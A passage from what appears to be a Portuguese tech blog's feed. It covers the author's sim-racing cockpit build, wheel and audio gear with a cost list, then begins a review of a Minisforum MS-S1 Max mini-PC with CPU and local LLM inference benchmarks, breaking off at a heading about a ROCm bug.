<p>Em janeiro de 2026, depois de anos de gambiarra, eu finalmente encomendei um cockpit dedicado. Pesquisei bastante. Considerei o <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-ax160-horizontal?variant=52008751431961"target="_blank" rel="noopener">Cockpit AX160</a>, que é de perfil de alumínio e muito modular, e o <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-4-0-horizontal?variant=52004294852889"target="_blank" rel="noopener">Cockpit 4.0</a>, que é de aço tubular mais tradicional. Mas nenhum dos dois estava disponível no momento da compra. E aí eu encontrei o <a href="https://loja.cockpitextremeracing.com.br/products/cockpit-formula-fx1-preto-e-verde?variant=51700876509465"target="_blank" rel="noopener">Formula FX1 preto e verde</a> da Extreme Racing — cores Petronas, estilo F1.</p>
<p>O FX1 é muito diferente dos cockpits tradicionais. A estrutura inteira é de tubos de aço grossos, soldados. Quando eu digo que a coisa não balança, eu quero dizer que não balança nada. Zero wobble. É uma diferença brutal em relação ao suporte na frente do sofá. A posição de pilotagem é reclinada, tipo F1 — seus pés ficam na mesma altura ou mais altos que seu quadril. Parece que vai ser desconfortável, mas não é. Dá pra ficar horas ali sem reclamar. Vem com banco acolchoado e ajustável, suporte pra monitor com articulação, suporte pra pedais com inclinação ajustável, e suporte pra volante com altura regulável.</p>
<p>Tive que esperar cerca de 1 mês pela entrega. No meio tempo, como quem acompanha meu blog sabe, eu mergulhei numa maratona de 16 horas por dia testando os novos agentes de IA da Anthropic e OpenAI — veja as tags <a href="/tags/vibe-coding/">#vibecoding</a> e <a href="/tags/inteligencia-artificial/">#agents</a> pra ver tudo que eu fiz. Depois de uns 30 dias nessa maratona insana, minha lombar cedeu e eu comecei a desenvolver o que parece ser hérnia de disco. Tive que ir ao médico e tomar anti-inflamatórios pesados.</p>
<p>E exatamente nessa semana, o cockpit decidiu chegar.</p>
<h3>A montagem<span class="hx:absolute hx:-mt-20" id="a-montagem"></span>
    <a href="#a-montagem" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu estava com dor absurda, mas montei o cockpit assim mesmo. Levou o dia inteiro pra desembalar e montar as peças de aço pesadas com a lombar gritando, mas eu fiz.</p>
<p>O vídeo de montagem oficial que eu segui:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/WnocqqhmZas"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/first-pieces-mounted.jpg" alt="Primeiras peças montadas — a base e a estrutura do banco"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mostly-mounted.jpg" alt="Estrutura quase completa — banco, suporte do volante, pedais"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mostly-mounted-from-front.jpg" alt="Vista frontal da estrutura quase pronta"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/almost-mounted,-with-monitor.jpg" alt="Montagem quase completa com o suporte do monitor"  loading="lazy" /></p>
<h3>O volante McLaren GT3 V2<span class="hx:absolute hx:-mt-20" id="o-volante-mclaren-gt3-v2"></span>
    <a href="#o-volante-mclaren-gt3-v2" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Depois de montar o cockpit, eu decidi que o volante padrão que vem com o kit CSL GT não era suficiente. Fiz o upgrade pro <a href="https://www.racingwheelbrasil.com.br/produtos/volante-fanatec-csl-elite-mclaren-gt3-v2-pc-xbox-ps4-ps5-ready/"target="_blank" rel="noopener">Fanatec CSL Elite McLaren GT3 V2</a> (~R$ 4.990). É uma réplica em escala real do volante do McLaren GT3, com fibra de carbono, display OLED, e compatível com PC, Xbox, PS4 e PS5.</p>
<p>O que eu mais gosto nele: tem as borboletas de câmbio normais atrás (shift up/down), mas também tem dois paddles analógicos adicionais que podem ser configurados em quatro modos diferentes. No modo B, que é o que eu uso, o paddle esquerdo funciona como handbrake analógico e o direito como embreagem analógica. Isso é perfeito pra rally — eu consigo puxar o freio de mão no meio da curva sem tirar a mão do volante. Tem também dois toggles de 2 posições, dois rotary de 12 posições, 7 botões padrão com caps intercambiáveis, e o FunkySwitch de 7 direções da Fanatec. É um controle completo de corrida.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/mclaren-wheel.jpg" alt="O volante McLaren GT3 V2 montado no cockpit — fibra de carbono e display OLED"  loading="lazy" /></p>
<h2>O setup final<span class="hx:absolute hx:-mt-20" id="o-setup-final"></span>
    <a href="#o-setup-final" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O cockpit ficou num cantinho do meu quarto, entre as estantes de mangá (dá pra ver Akira, Initial D, e uns 500 outros volumes atrás). Montei o mini-PC e o PS5 na estrutura lateral do cockpit, junto com a eGPU e a RTX 4090. Tudo fica permanentemente conectado. É isso que faz a diferença: eu não preciso mais montar nem desmontar nada. Sento, ligo, e estou dirigindo em 30 segundos.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/fully-mounted-from-side.jpg" alt="Vista lateral do cockpit completo — entre as estantes de mangá"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/all-consoles-from-front.jpg" alt="Os consoles montados na estrutura: PS5 com Darkplates, Minisforum UX790 Pro, eGPU com RTX 4090"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/close-up-of-the-consoles-from-front.jpg" alt="Close-up dos consoles e cabeamento"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/sitting-angle.jpg" alt="A perspectiva do piloto — é assim que eu vejo quando estou sentado"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/monitor-on-view-from-front.jpg" alt="PS5 mostrando a lista de jogos — Gran Turismo 7 no topo"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/another-fully-mounted-shot.jpg" alt="O cockpit completo visto de trás"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/from-front-gran-turismo-h264.mp4" type="video/mp4">
  </video>
  <em>Gran Turismo 7 rodando no cockpit final</em>
</div>
<h2>O sistema de áudio<span class="hx:absolute hx:-mt-20" id="o-sistema-de-áudio"></span>
    <a href="#o-sistema-de-%c3%a1udio" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra completar o setup eu precisava de áudio dedicado. Eu não queria usar o áudio do monitor (péssimo) nem ficar sempre de headset. A solução foi montar um sistema de áudio separado com extração de áudio do HDMI.</p>
<p>A peça central é um <a href="https://www.amazon.com.br/dp/B00MNGIP2Y"target="_blank" rel="noopener">switcher HDMI 2.1 da OREI</a> com extração de áudio. Ele tem 2 entradas e 1 saída HDMI, suporta 4K a 120Hz (48 Gbps de bandwidth), e extrai o áudio via saída óptica TOSLINK e P2 3.5mm. Eu conecto a saída HDMI da RTX 4090 numa entrada e o PS5 na outra. O vídeo vai pro monitor. O áudio sai pela óptica.</p>
<p>O áudio óptico vai pra um <a href="https://www.mercadolivre.com.br/amplificador-de-potncia-aiyima-d03-bluetooth-50-150-watts-cor-preto/p/MLB46172770"target="_blank" rel="noopener">amplificador Aiyima D03</a>, um amp compacto 2.1 canais com 150W por canal, DAC integrado (chip PCM1808), e Bluetooth 5.0 com aptX HD. Ele tem entrada óptica, coaxial, USB, RCA e Bluetooth. Tem até saída dedicada pra subwoofer quando eu resolver adicionar um. Usa chip amplificador TAS5624 da Texas Instruments e tem controle de graves e agudos pelo controle remoto. Pra um setup de cockpit onde você está a 1 metro das caixas, 150W é mais que suficiente.</p>
<p>Na prática, eu deixo o amplificador em 50% e o volume do Windows em 50%, e isso já fica alto pra caramba. Ou seja: não é um sisteminha &ldquo;quebra-galho&rdquo;. Está equipado pra tocar realmente alto se eu quiser.</p>
<p>As caixas são <a href="https://edifier.com.br/caixa-de-som-passiva-p12-madeira-edifier.html"target="_blank" rel="noopener">Edifier P12</a>, passivas, com woofer de 4 polegadas e tweeter de 19mm. Resposta de frequência de 55Hz a 20kHz, impedância de 6 ohms, potência de 20W RMS cada. O gabinete de MDF com acabamento em madeira tem um porte-reflex traseiro que ajuda nos graves. Pra caixas passivas desse tamanho, elas entregam bem. O mid-range sai limpo e os agudos não distorcem mesmo no volume alto.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/audio-equipment.jpg" alt="Os equipamentos de áudio — caixa do Aiyima D03 e do Edifier P12"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/audio-speakers-next-to-other-stuff.jpg" alt="As Edifier P12 posicionadas nas estantes ao lado do cockpit, junto com a coleção de Akira e miniaturas de carros"  loading="lazy" /></p>
<p>A lógica do setup é: HDMI switcher faz o chaveamento entre PS5 e PC, extrai o áudio pra óptica, o amp converte e amplifica, e as caixas passivas entregam o som. Tudo sem precisar tocar no monitor ou trocar cabos. Aperto um botão no switcher e troco de console.</p>
<p>Quando eu quero jogar sem incomodar ninguém, conecto meu <a href="https://www.mercadolivre.com.br/fones-de-ouvido-meze-audio-109-pro-com-fio-de-madeira-com-en/p/MLB42456685"target="_blank" rel="noopener">Meze 109 Pro</a> direto na saída P2 do switcher HDMI. O Meze 109 Pro é um headphone aberto com drivers dinâmicos de 50mm, impedância de 40 ohms, sensibilidade de 112 dB SPL/1mW, e resposta de 5Hz a 30kHz. Os ear cups são de madeira de nogueira com acabamento artesanal. É um headphone audiófilo que funciona perfeitamente sem amplificador dedicado graças à impedância baixa. O som é quente, com graves cheios e mids ricos. Dá pra ouvir cada detalhe do ronco dos motores.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/meze-headset.jpg" alt="Meze 109 Pro — madeira de nogueira, som audiófilo"  loading="lazy" /></p>
<p>Ainda não decidi sobre subwoofer, mas vai ser meu próximo upgrade. Um sub dedicado vai adicionar aquele peso nos graves que faz você sentir o motor no peito.</p>
<h2>O veredito<span class="hx:absolute hx:-mt-20" id="o-veredito"></span>
    <a href="#o-veredito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O sofa com suporte funciona. A mesa do PC com suporte funciona. Mas nenhum dos dois chega perto de um cockpit dedicado. A estrutura de aço do FX1 não mexe nem um milímetro, mesmo com o direct drive do Fanatec dando torque máximo. A posição F1 reclinada é confortável pra sessões de horas. Os pedais com load cell ficam firmes na base. O monitor fica exatamente na altura e distância certas. E o melhor de tudo: está sempre pronto. Eu não preciso montar, desmontar, passar cabo, nada. Sento e dirijo.</p>
<p>Pra quem está na dúvida se vale a pena investir num cockpit dedicado vs. ficar com suporte na mesa ou no sofá: vale. Se você já tem um volante direct drive, o cockpit é a peça que falta. Eu passei anos achando que &ldquo;tá bom assim&rdquo; com o suporte no sofá. Não tava. A diferença na dirigibilidade é outra coisa. E pro meu caso — introvertido, single-player only, simcade — não podia ter montado antes. Pra falar a verdade, eu acho que finalmente cheguei no meu setup de simulador perfeito pro meu gosto.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/monitor-on-view.jpg" alt="O monitor ligado com a vista do piloto"  loading="lazy" /></p>
<div style="max-width: 100%; margin: 1em 0;">
  <video controls playsinline style="width: 100%; border-radius: 8px;">
    <source src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/video-testing-h264.mp4" type="video/mp4">
  </video>
  <em>Eu dirigindo no cockpit final</em>
</div>
<h2>Lista de compras: quanto custou tudo<span class="hx:absolute hx:-mt-20" id="lista-de-compras-quanto-custou-tudo"></span>
    <a href="#lista-de-compras-quanto-custou-tudo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui está a lista consolidada de tudo que compõe meu setup atual, com preços aproximados (alguns comprei em dólar, converti pra real na cotação da época):</p>
<table>
  <thead>
      <tr>
          <th>Item</th>
          <th style="text-align: right">Preço Estimado (R$)</th>
          <th>Link</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><a href="https://loja.cockpitextremeracing.com.br/products/cockpit-formula-fx1-preto-e-verde?variant=51700876509465"target="_blank" rel="noopener">Cockpit Formula FX1 Preto e Verde</a></td>
          <td style="text-align: right">~6.290</td>
          <td>Extreme Racing</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/sim-racing-bundles/crd-9020007-8nm-us/gran-turismo-dd-pro-8nm-qr2l-us"target="_blank" rel="noopener">Fanatec Gran Turismo DD Pro 8Nm (motor + volante + pedais + Boost Kit)</a></td>
          <td style="text-align: right">~9.590</td>
          <td>Fanatec / Racing Wheel Brasil</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/pedals/csl_p_lc/csl_pedals_lc"target="_blank" rel="noopener">Fanatec CSL Pedals LC (com Load Cell)</a></td>
          <td style="text-align: right">~1.500</td>
          <td>Fanatec</td>
      </tr>
      <tr>
          <td><a href="https://www.racingwheelbrasil.com.br/produtos/volante-fanatec-csl-elite-mclaren-gt3-v2-pc-xbox-ps4-ps5-ready/"target="_blank" rel="noopener">Fanatec CSL Elite McLaren GT3 V2</a></td>
          <td style="text-align: right">~4.990</td>
          <td>Racing Wheel Brasil</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/add-ons/crd-9040002-ww/clubsport-shifter-sq"target="_blank" rel="noopener">Fanatec ClubSport Shifter SQ V1.5</a></td>
          <td style="text-align: right">~2.500</td>
          <td>Fanatec</td>
      </tr>
      <tr>
          <td><a href="https://www.minisforum.com/products/UX790-Pro.html"target="_blank" rel="noopener">Minisforum UX790 Pro</a></td>
          <td style="text-align: right">~5.000</td>
          <td>Minisforum</td>
      </tr>
      <tr>
          <td><a href="https://www.minisforum.com/products/minisforum-deg1-egpu-dock"target="_blank" rel="noopener">Minisforum DEG1 eGPU Dock</a> + RTX 4090</td>
          <td style="text-align: right">~12.000</td>
          <td>Minisforum / comprado separado</td>
      </tr>
      <tr>
          <td>PlayStation 5 + <a href="https://dbrand.com/shop/limited-edition/ps5"target="_blank" rel="noopener">dbrand Darkplates</a></td>
          <td style="text-align: right">~4.500</td>
          <td>Sony / dbrand</td>
      </tr>
      <tr>
          <td><a href="https://www.samsung.com/br/monitors/gaming/odyssey-oled-g8-g81sf-32-inch-240hz-oled-uhd-ls32fg810snxzd/"target="_blank" rel="noopener">Samsung Odyssey OLED G8 32&quot;</a></td>
          <td style="text-align: right">~2.500</td>
          <td>Samsung</td>
      </tr>
      <tr>
          <td><a href="https://www.amazon.com.br/dp/B00MNGIP2Y"target="_blank" rel="noopener">OREI BK-21A HDMI 2.1 Switcher 2x1 com extração de áudio</a></td>
          <td style="text-align: right">~450</td>
          <td>Amazon</td>
      </tr>
      <tr>
          <td><a href="https://www.mercadolivre.com.br/amplificador-de-potncia-aiyima-d03-bluetooth-50-150-watts-cor-preto/p/MLB46172770"target="_blank" rel="noopener">Amplificador Aiyima D03</a></td>
          <td style="text-align: right">~900</td>
          <td>Mercado Livre</td>
      </tr>
      <tr>
          <td><a href="https://edifier.com.br/caixa-de-som-passiva-p12-madeira-edifier.html"target="_blank" rel="noopener">Edifier P12 (par)</a></td>
          <td style="text-align: right">~799</td>
          <td>Edifier</td>
      </tr>
      <tr>
          <td><a href="https://www.mercadolivre.com.br/fones-de-ouvido-meze-audio-109-pro-com-fio-de-madeira-com-en/p/MLB42456685"target="_blank" rel="noopener">Meze 109 Pro</a></td>
          <td style="text-align: right">~5.390</td>
          <td>Mercado Livre / Heinrich Audio</td>
      </tr>
      <tr>
          <td>Cabos (HDMI 2.1, óptico, P2, energia)</td>
          <td style="text-align: right">~300</td>
          <td>Diversos</td>
      </tr>
      <tr>
          <td><strong>TOTAL ESTIMADO</strong></td>
          <td style="text-align: right"><strong>~56.709</strong></td>
          <td></td>
      </tr>
  </tbody>
</table>
<p>Sim, quase R$ 57 mil é bastante dinheiro. Eu trabalhei feito um condenado por décadas. Agora que consegui me aposentar honestamente, minha família está bem amparada, não tenho dívidas, e eu posso finalmente me dar algo que eu sempre quis quando era moleque mas não tinha como bancar. Quando eu sentava naqueles cabinets de OutRun e Daytona USA no fliperama, eu sonhava em ter algo assim em casa. Levou 30 e poucos anos, mas cheguei lá.</p>
<p>E se você somar os anos de gambiarras, suportes que não funcionavam, cabos HDMI de 15 metros, impressões 3D, placas de aço usinadas, e a frustração de montar e desmontar tudo — o cockpit dedicado economiza sanidade. Diferente de um PC que deprecia rápido, um cockpit de aço dura décadas.</p>
]]></content:encoded><category>games</category><category>hardware</category><category>off-topic</category></item><item><title>Review: Minisforum MS-S1 Max | AMD AI Max+ 395 com 96GB de VRAM</title><link>https://www.akitaonrails.com/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/</guid><pubDate>Tue, 31 Mar 2026 15:00:00 -0300</pubDate><description>&lt;p&gt;Quem acompanha meus posts sobre &lt;a href="https://www.akitaonrails.com/2024/04/03/meu-netflix-pessoal-com-docker-compose/"&gt;home server&lt;/a&gt; sabe que eu rodava tudo num Intel NUC Core i7 com 32GB de RAM. Funcionava. Mas com o crescimento dos modelos de IA open source, o NUC virou um gargalo. Sem GPU dedicada, qualquer inferência de LLM ia pra CPU e ficava inutilizável.&lt;/p&gt;
&lt;p&gt;Eu comprei um Minisforum MS-S1 Max com o novo chip AMD Ryzen AI Max+ 395 por um motivo específico: esse chip suporta até 128GB de RAM unificada, e eu posso alocar 96GB como VRAM pro iGPU. Isso me dá mais VRAM do que qualquer placa gamer comercial, incluindo a RTX 5090 (32GB). E isso muda o que eu consigo rodar localmente.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Quem acompanha meus posts sobre <a href="/2024/04/03/meu-netflix-pessoal-com-docker-compose/">home server</a> sabe que eu rodava tudo num Intel NUC Core i7 com 32GB de RAM. Funcionava. Mas com o crescimento dos modelos de IA open source, o NUC virou um gargalo. Sem GPU dedicada, qualquer inferência de LLM ia pra CPU e ficava inutilizável.</p>
<p>Eu comprei um Minisforum MS-S1 Max com o novo chip AMD Ryzen AI Max+ 395 por um motivo específico: esse chip suporta até 128GB de RAM unificada, e eu posso alocar 96GB como VRAM pro iGPU. Isso me dá mais VRAM do que qualquer placa gamer comercial, incluindo a RTX 5090 (32GB). E isso muda o que eu consigo rodar localmente.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-desk.jpg" alt="Minisforum MS-S1 Max na mesa"  loading="lazy" /></p>
<h2>Por que trocar o Intel NUC<span class="hx:absolute hx:-mt-20" id="por-que-trocar-o-intel-nuc"></span>
    <a href="#por-que-trocar-o-intel-nuc" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O NUC serviu bem como servidor Docker por dois anos. Mas a limitação era clara: sem GPU com VRAM suficiente, eu não conseguia rodar LLMs localmente de forma usável. O <a href="https://github.com/akitaonrails/FrankYomik"target="_blank" rel="noopener">Frank Yomik</a>, meu sistema de tradução automática de mangás, precisava de OCR via CPU (lento) e conectava remotamente no Ollama do meu desktop (AMD 7950X3D + RTX 5090) pra tradução. Funcionava, mas significava que meu desktop precisava estar ligado pro servidor funcionar.</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/FrankYomik/master/docs/sample_translate.png" alt="Frank Yomik - tradução automática de mangás"  loading="lazy" /></p>
<p>Com o Minisforum, o Frank Yomik roda inteiramente no servidor. O worker agora usa ROCm pra OCR com a iGPU, e o Ollama roda local com 96GB de VRAM. Zero dependência do desktop.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-nuc-compare.jpg" alt="Comparação: Intel NUC (esquerda) vs Minisforum MS-S1 Max (direita)"  loading="lazy" /></p>
<p>Na foto dá pra ter uma ideia do tamanho. O NUC é aquele cubinho pequeno na esquerda. O Minisforum é maior, mas ainda é um mini-PC. Cabe na prateleira do rack embaixo do Synology NAS sem problema.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-shelf.jpg" alt="Minisforum instalado na prateleira, ao lado do NAS"  loading="lazy" /></p>
<h2>As specs<span class="hx:absolute hx:-mt-20" id="as-specs"></span>
    <a href="#as-specs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-fastfetch.png" alt="fastfetch do Minisforum"  loading="lazy" /></p>
<p>O chip é o AMD Ryzen AI Max+ 395: 16 cores / 32 threads Zen 5, com iGPU Radeon 8060S integrada e 128GB de LPDDR5X unificada. No BIOS, eu configurei UMA Frame Buffer Size pra 96GB, o que deixa ~30GB de RAM pro sistema operacional e containers. Mais os parâmetros de kernel pra TTM (sem eles, o ROCm só enxerga 15.5GB mesmo com a alocação do BIOS).</p>
<p>O sistema operacional é openSUSE MicroOS (mais sobre isso no <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">próximo post</a>). O consumo de energia da máquina inteira fica abaixo de 100W, o que é absurdo pra quem está acostumado com GPUs dedicadas que puxam 450W+ sozinhas.</p>
<h2>Minisforum vs meu desktop: benchmarks<span class="hx:absolute hx:-mt-20" id="minisforum-vs-meu-desktop-benchmarks"></span>
    <a href="#minisforum-vs-meu-desktop-benchmarks" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu rodei um <a href="https://github.com/akitaonrails/homelab-docs/tree/master/benchmarks"target="_blank" rel="noopener">conjunto de benchmarks</a> comparando o Minisforum com meu desktop (AMD 7950X3D, 96GB DDR5, RTX 5090 32GB GDDR7). Os resultados são claros.</p>
<h3>CPU<span class="hx:absolute hx:-mt-20" id="cpu"></span>
    <a href="#cpu" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Teste</th>
          <th>7950X3D</th>
          <th>AI Max+ 395</th>
          <th>Vantagem</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Prime sieve (single-core)</td>
          <td>0.021s</td>
          <td>0.018s</td>
          <td>Strix Halo +14%</td>
      </tr>
      <tr>
          <td>Float pi (single-core)</td>
          <td>1.335s</td>
          <td>1.706s</td>
          <td>7950X3D +28%</td>
      </tr>
      <tr>
          <td>Multi-core sieve (32 threads)</td>
          <td>0.181s</td>
          <td>0.118s</td>
          <td>Strix Halo +53%</td>
      </tr>
      <tr>
          <td>SHA-256 throughput</td>
          <td>2.714 MB/s</td>
          <td>2.488 MB/s</td>
          <td>7950X3D +9%</td>
      </tr>
      <tr>
          <td>AES-256-CBC throughput</td>
          <td>1.613 MB/s</td>
          <td>1.410 MB/s</td>
          <td>7950X3D +14%</td>
      </tr>
  </tbody>
</table>
<p>Resultados mistos. O AI Max+ 395 é melhor em paralelismo puro (sieve multi-core), provavelmente por conta da latência menor na arquitetura de memória unificada. O 7950X3D ganha em float e crypto por causa dos clocks mais altos e do 3D V-Cache.</p>
<h3>Inferência de LLMs (modelos que cabem nos dois)<span class="hx:absolute hx:-mt-20" id="inferência-de-llms-modelos-que-cabem-nos-dois"></span>
    <a href="#infer%c3%aancia-de-llms-modelos-que-cabem-nos-dois" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Aqui é onde a coisa fica interessante. Pra modelos que cabem nos 32GB da RTX 5090, a comparação é puramente de bandwidth de memória:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>Tamanho</th>
          <th>RTX 5090 (tok/s)</th>
          <th>Strix Halo (tok/s)</th>
          <th>Vantagem 5090</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>phi4</td>
          <td>9.1 GB</td>
          <td>155.1</td>
          <td>23.2</td>
          <td>6.7x</td>
      </tr>
      <tr>
          <td>qwen3:14b</td>
          <td>9.3 GB</td>
          <td>138.9</td>
          <td>22.6</td>
          <td>6.1x</td>
      </tr>
      <tr>
          <td>phi4-reasoning</td>
          <td>11.1 GB</td>
          <td>130.2</td>
          <td>19.1</td>
          <td>6.8x</td>
      </tr>
      <tr>
          <td>qwen3:32b</td>
          <td>20.2 GB</td>
          <td>66.9</td>
          <td>10.0</td>
          <td>6.7x</td>
      </tr>
  </tbody>
</table>
<p>A RTX 5090 é ~7x mais rápida. A explicação é simples: GDDR7 tem ~1.792 GB/s de bandwidth. LPDDR5X tem ~256 GB/s. A razão (7x) bate quase exatamente com a diferença de velocidade medida (6.7x). Inferência de LLM é um problema dominado por bandwidth de memória. Quem lê pesos mais rápido, gera tokens mais rápido.</p>
<h3>E o prompt processing?<span class="hx:absolute hx:-mt-20" id="e-o-prompt-processing"></span>
    <a href="#e-o-prompt-processing" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>RTX 5090 (tok/s)</th>
          <th>Strix Halo (tok/s)</th>
          <th>Vantagem 5090</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>phi4</td>
          <td>~1.933</td>
          <td>~212</td>
          <td>9.1x</td>
      </tr>
      <tr>
          <td>qwen3:14b</td>
          <td>~1.474</td>
          <td>~155</td>
          <td>9.5x</td>
      </tr>
      <tr>
          <td>qwen3:32b</td>
          <td>~767</td>
          <td>~68</td>
          <td>11.3x</td>
      </tr>
  </tbody>
</table>
<p>Prompt processing é ainda pior: 7-11x mais lento. Faz sentido, porque o prompt precisa ser processado inteiro antes de gerar o primeiro token, e é uma operação ainda mais bandwidth-intensiva.</p>
<h3>Onde o Strix Halo ganha: modelos grandes<span class="hx:absolute hx:-mt-20" id="onde-o-strix-halo-ganha-modelos-grandes"></span>
    <a href="#onde-o-strix-halo-ganha-modelos-grandes" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Agora vem a razão pela qual eu comprei esse PC. Modelos que não cabem na RTX 5090:</p>
<table>
  <thead>
      <tr>
          <th>Modelo</th>
          <th>Tamanho</th>
          <th>Strix Halo (tok/s)</th>
          <th>Notas</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>gpt-oss:20b</td>
          <td>13.8 GB MXFP4</td>
          <td>48.9</td>
          <td>MoE, mais rápido que esperado</td>
      </tr>
      <tr>
          <td>qwen3.5:35b</td>
          <td>23.9 GB</td>
          <td>43.2</td>
          <td>MoE, apenas ~4B params ativos</td>
      </tr>
      <tr>
          <td>qwen3-coder-next</td>
          <td>51.7 GB</td>
          <td>29.5</td>
          <td>MoE, 50GB+</td>
      </tr>
      <tr>
          <td>qwen3.5:122b</td>
          <td>81.4 GB Q4_K_M</td>
          <td>19.2</td>
          <td>122B params, MoE</td>
      </tr>
      <tr>
          <td>glm-4.7-flash:bf16</td>
          <td>59.9 GB</td>
          <td>17.9</td>
          <td>Full precision bf16</td>
      </tr>
      <tr>
          <td>qwen2.5:72b</td>
          <td>47.4 GB Q4_K_M</td>
          <td>4.5</td>
          <td>Dense 72B, bandwidth-limited</td>
      </tr>
  </tbody>
</table>
<p>O qwen3.5:122b com 81GB de pesos rodando a 19 tok/s. Num mini-PC. Isso simplesmente não é possível numa RTX 5090. Na placa da NVIDIA, esse modelo teria que fazer offload de camadas pra RAM do sistema, caindo pra 2-3 tok/s. Na prática, inutilizável.</p>
<p>A diferença entre modelos MoE e densos é brutal. O qwen3.5:35b roda a 43 tok/s porque, apesar de ter 35B de parâmetros totais, só ~4B ficam ativos por token. Um modelo denso de 72B como o qwen2.5:72b precisa ler 40GB+ de pesos por token, e a 256 GB/s de bandwidth, o máximo teórico é ~6.7 tok/s. Os 4.5 medidos representam ~67% de eficiência, que é o esperado pra iGPU (overhead de bus compartilhado e drivers).</p>
<h3>Resumo: quando usar cada máquina<span class="hx:absolute hx:-mt-20" id="resumo-quando-usar-cada-máquina"></span>
    <a href="#resumo-quando-usar-cada-m%c3%a1quina" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Caso de uso</th>
          <th>Melhor máquina</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Chat/coding interativo (modelos &lt;32GB)</td>
          <td>RTX 5090 (6-7x mais rápido)</td>
      </tr>
      <tr>
          <td>Modelos grandes (50GB+)</td>
          <td>Strix Halo (única opção)</td>
      </tr>
      <tr>
          <td>Modelos densos 70B+</td>
          <td>Strix Halo (única opção)</td>
      </tr>
      <tr>
          <td>Full-precision bf16</td>
          <td>Strix Halo (única opção)</td>
      </tr>
      <tr>
          <td>Batch processing com contexto longo</td>
          <td>Strix Halo (mais VRAM pra KV cache)</td>
      </tr>
      <tr>
          <td>API serving com baixa latência</td>
          <td>RTX 5090 (sub-150ms TTFT)</td>
      </tr>
  </tbody>
</table>
<h3>Um bug de ROCm que ainda existe<span class="hx:absolute hx:-mt-20" id="um-bug-de-rocm-que-ainda-existe"></span>
